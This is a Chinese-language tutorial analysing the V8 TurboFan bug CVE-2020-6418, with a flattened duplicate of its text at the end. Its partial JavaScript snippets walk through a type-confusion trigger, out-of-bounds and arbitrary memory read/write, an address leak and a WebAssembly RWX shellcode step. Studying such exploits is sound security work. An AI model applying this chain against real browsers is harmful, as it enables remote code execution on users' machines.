CVE-2020-6418 V8漏洞分析笔记
字数 1368 2025-08-18 17:33:30

CVE-2020-6418 V8漏洞分析与利用教学文档

1. 漏洞概述

CVE-2020-6418是V8引擎中的一个JIT优化漏洞,属于TurboFan优化过程中对JSCreate操作码的副作用判断错误导致的类型混淆漏洞。该漏洞允许攻击者通过精心构造的JavaScript代码实现类型混淆,最终可导致任意代码执行。

2. 环境搭建

2.1 所需工具

  • 代理工具(如酸酸乳)
  • Git 2.22.0.windows.1
  • Curl 7.55.1
  • Windows 10专业版

2.2 配置步骤

  1. 代理配置

    git config --global https.proxy socks5://127.0.0.1:1080
    git config --global http.proxy socks5://127.0.0.1:1080
    git config --global git.proxy socks5://127.0.0.1:1080
    set HTTP_PROXY=socks5://127.0.0.1:1080
    set HTTPS_PROXY=socks5://127.0.0.1:1080
    
  2. depot_tools安装

    git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
    set DEPOT_TOOLS_WIN_TOOLCHAIN=0
    set GYP_MSVS_VERSION=2019
    
  3. V8源码下载与编译

    fetch v8
    cd v8
    git reset --hard bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07
    gclient sync
    python tools\dev\v8gen.py x64.release
    python tools\dev\v8gen.py x64.debug
    python tools\dev\gm.py x64.debug d8
    python tools\dev\gm.py x64.release d8
    

3. 背景知识

3.1 指针压缩技术

新版本V8采用指针压缩技术提高性能:

  • Smi:32位指针,最后1bit为pointer tag
  • Object:分为两部分表示
    • 32位指针中保存低32位地址
    • 高32位保存在r13寄存器中作为base

3.2 BigUint64Array

用于操作8字节内存,比Float64Array更方便:

  • data_ptr = external_pointer + base_pointer
  • 控制这两个指针可实现任意地址读写

3.3 Inlining优化

TurboFan的两种内联方式:

  1. General Inlining:处理用户代码内联
  2. Builtin Inlining:处理JS内置函数内联

4. 漏洞分析

4.1 漏洞根源

InferReceiverMapsUnsafe函数错误地将JSCreate节点标记为kReliableReceiverMaps(可靠),而实际上JSCreate可能有副作用(如查找原型对象),应标记为kUnreliableReceiverMaps(不可靠)。

4.2 漏洞触发流程

  1. 通过Reflect.constructJSCreate节点加入effect chain
  2. JIT优化时调用InferReceiverMapsUnsafe判断可靠性
  3. 由于错误判断,未加入MapsCheck节点检查类型
  4. 通过回调函数修改数组类型后,优化代码仍使用旧类型

4.3 关键代码

// src/compiler/node-properties.cc
NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(
    JSHeapBroker* broker, Node* receiver, Node* effect,
    ZoneHandleSet<Map>* maps_return) {
  InferReceiverMapsResult result = kReliableReceiverMaps;
  while (true) {
    switch (effect->opcode()) {
      case IrOpcode::kJSCreate: {
        // 漏洞修复前错误地保持kReliableReceiverMaps
        // 修复后应改为: result = kUnreliableReceiverMaps;
        break;
      }
    }
  }
}

5. 漏洞利用

5.1 从类型混淆到越界读写

  1. 创建HOLEY_DOUBLE_ELEMENTS数组
  2. 通过Proxy回调修改为HOLEY_ELEMENTS数组
  3. 利用类型混淆实现越界读写
let vuln_array = [,,,,,,,,,,,, 6.1, 7.1, 8.1];
var oob_array;

function f(p) {
    vuln_array.push(typeof(Reflect.construct(empty, arguments, p)) === Proxy ? 0.2 : 2.42902434121390450978968281326E-319*2);
    // 触发JIT...
}

let p = new Proxy(Object, {
    get: () => {
        vuln_array[0] = {}; // 修改类型
        oob_array = [1.1];  // 目标数组
        return Object.prototype;
    }
});

5.2 构造任意地址读写

  1. 创建BigUint64Array对象
  2. 通过越界读写修改其external_pointerbase_pointer
  3. 实现任意地址读写原语
function get_arw() {
    uint64_length_offset = 16;
    uint64_externalptr_offset = 17;
    uint64_baseptr_offset = 18;
    
    // 保存原始值
    uint64_length = f2i(oob_array[uint64_length_offset]);
    uint64_externalptr_ptr = f2i(oob_array[uint64_externalptr_offset]);
    uint64_baseptr_ptr = f2i(oob_array[uint64_baseptr_offset]);
}

function arw_write(addr, payload) {
    oob_array[uint64_length_offset] = i2f(BigInt(payload.length));
    oob_array[uint64_baseptr_offset] = i2f(0n);
    oob_array[uint64_externalptr_offset] = i2f(addr);
    // 写入payload...
}

5.3 地址泄露

通过布置对象实现地址泄露:

obj_leaker = {
    a: 0xc00c/2,
    b: oob_array,
};

function addr_of(obj) {
    obj_leaker.b = obj;
    let half = f2half(oob_array[obj_leader_offset]);
    if (half[0] == 0xc00c) {
        return BigInt(half[1]);
    }
}

5.4 任意代码执行

  1. 加载WebAssembly模块获取RWX内存
  2. 通过任意地址写将shellcode写入RWX内存
  3. 调用wasm函数执行shellcode
function get_wasm_rwx() {
    wasm_module = new WebAssembly.Module(wasm_code);
    wasm_instance = new WebAssembly.Instance(wasm_module, {});
    wasm_function = wasm_instance.exports.main;
    wasm_function_addr = addr_of(wasm_function);
    
    // 遍历指针链获取RWX内存地址...
}

function run_shellcode() {
    var shellcode = unescape("%u48fc...");
    arw_write(wasm_rwx, shellcode);
    wasm_function();
}

6. 完整利用链

  1. 触发类型混淆
  2. 构造越界读写
  3. 获取任意地址读写能力
  4. 泄露wasm函数地址
  5. 获取RWX内存地址
  6. 写入并执行shellcode

7. 防御措施

  1. 正确标记有副作用的操作码
  2. 加强类型检查
  3. 限制JIT优化中的假设条件

8. 参考资源

  1. Pointer Compression in V8
  2. BigUint64Array文档
  3. TurboFan编译器概述
CVE-2020-6418 V8漏洞分析与利用教学文档 1. 漏洞概述 CVE-2020-6418是V8引擎中的一个JIT优化漏洞,属于TurboFan优化过程中对JSCreate操作码的副作用判断错误导致的类型混淆漏洞。该漏洞允许攻击者通过精心构造的JavaScript代码实现类型混淆,最终可导致任意代码执行。 2. 环境搭建 2.1 所需工具 代理工具(如酸酸乳) Git 2.22.0.windows.1 Curl 7.55.1 Windows 10专业版 2.2 配置步骤 代理配置 : depot_ tools安装 : V8源码下载与编译 : 3. 背景知识 3.1 指针压缩技术 新版本V8采用指针压缩技术提高性能: Smi :32位指针,最后1bit为pointer tag Object :分为两部分表示 32位指针中保存低32位地址 高32位保存在r13寄存器中作为base 3.2 BigUint64Array 用于操作8字节内存,比Float64Array更方便: data_ptr = external_pointer + base_pointer 控制这两个指针可实现任意地址读写 3.3 Inlining优化 TurboFan的两种内联方式: General Inlining :处理用户代码内联 Builtin Inlining :处理JS内置函数内联 4. 漏洞分析 4.1 漏洞根源 InferReceiverMapsUnsafe 函数错误地将 JSCreate 节点标记为 kReliableReceiverMaps (可靠),而实际上 JSCreate 可能有副作用(如查找原型对象),应标记为 kUnreliableReceiverMaps (不可靠)。 4.2 漏洞触发流程 通过 Reflect.construct 将 JSCreate 节点加入effect chain JIT优化时调用 InferReceiverMapsUnsafe 判断可靠性 由于错误判断,未加入 MapsCheck 节点检查类型 通过回调函数修改数组类型后,优化代码仍使用旧类型 4.3 关键代码 5. 漏洞利用 5.1 从类型混淆到越界读写 创建HOLEY_ DOUBLE_ ELEMENTS数组 通过Proxy回调修改为HOLEY_ ELEMENTS数组 利用类型混淆实现越界读写 5.2 构造任意地址读写 创建BigUint64Array对象 通过越界读写修改其 external_pointer 和 base_pointer 实现任意地址读写原语 5.3 地址泄露 通过布置对象实现地址泄露: 5.4 任意代码执行 加载WebAssembly模块获取RWX内存 通过任意地址写将shellcode写入RWX内存 调用wasm函数执行shellcode 6. 完整利用链 触发类型混淆 构造越界读写 获取任意地址读写能力 泄露wasm函数地址 获取RWX内存地址 写入并执行shellcode 7. 防御措施 正确标记有副作用的操作码 加强类型检查 限制JIT优化中的假设条件 8. 参考资源 Pointer Compression in V8 BigUint64Array文档 TurboFan编译器概述